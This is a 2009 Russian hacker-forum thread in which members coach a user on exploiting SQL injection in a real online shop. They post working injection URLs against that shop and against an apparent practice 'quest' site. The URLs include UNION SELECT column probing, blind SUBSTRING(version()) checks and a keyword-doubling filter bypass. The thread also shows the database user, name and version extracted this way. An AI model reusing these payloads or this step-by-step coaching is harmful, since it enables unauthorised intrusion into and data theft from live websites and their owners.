08.06.2009, 09:45
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами:
10226672
Репутация:
441
|
|
Сообщение от TreV@N
Здравствуйте.Я нашел sql-inj подобрал столбцы http://shop.vuku.ru/index.php?productID=-445+union+select+1,2,3,4-- но почему-то я немогу даже версию узнать бд.В чем моя ошибка?Что оттуда можно вытащить?
У тебя там вывода нету...используй как слепую..
http://forum.antichat.ru/threadnav43966-1-10.html
Пункт 3.3
|
|
|
08.06.2009, 09:51
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
DimOnOID, а там разве слепая есть?
|
|
|
|
08.06.2009, 09:54
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами:
10226672
Репутация:
441
|
|
Сообщение от mailbrush
DimOnOID, а там разве слепая есть?
Как минимум 2 варианта использования слепой....
с задержкой сервера....или через ошибку мускуля…
|
|
|
|
08.06.2009, 10:04
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Разве, что, но там не не перестает выводить при некорректном запросе. Забавная скуля...
|
|
|
|
08.06.2009, 10:11
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
С нами:
9382468
Репутация:
104
|
|
Вроде в этом квесте http://realquest.real-host.ru/show.php?id=12' такая же скуля.
|
|
|
|
08.06.2009, 10:18
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Код:
http://realquest.real-host.ru/show.php?id=12+and+substring(version(),1,1)=5
|
|
|
|
08.06.2009, 10:19
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
СКуль, давно находил уже как с открытия, там фильтр жёсткий
|
|
|
|
08.06.2009, 10:22
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
С нами:
9610769
Репутация:
380
|
|
Чи не фильтр(Скуля зрячая, надо просто немного подумать  ):
http://realquest.real-host.ru/show.php?id=-12+UNION+SeSelectlect+1,concat_ws(0x3a,user(),vers ion(),database()),3,4--+ |
|
|
|
08.06.2009, 10:20
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
TreV@N обычная слепая скуля
http://realquest.real-host.ru/show.php?id=12+AND+SUBSTRING((version()),1,1)=x
Version : 5.0.77-community
User : realq137_quest@localhost
Database : realq137_quest
|
|
|
|
08.06.2009, 10:26
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Хех, там такой же фильтр, как я писал давно тупо удаляет юнион . |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
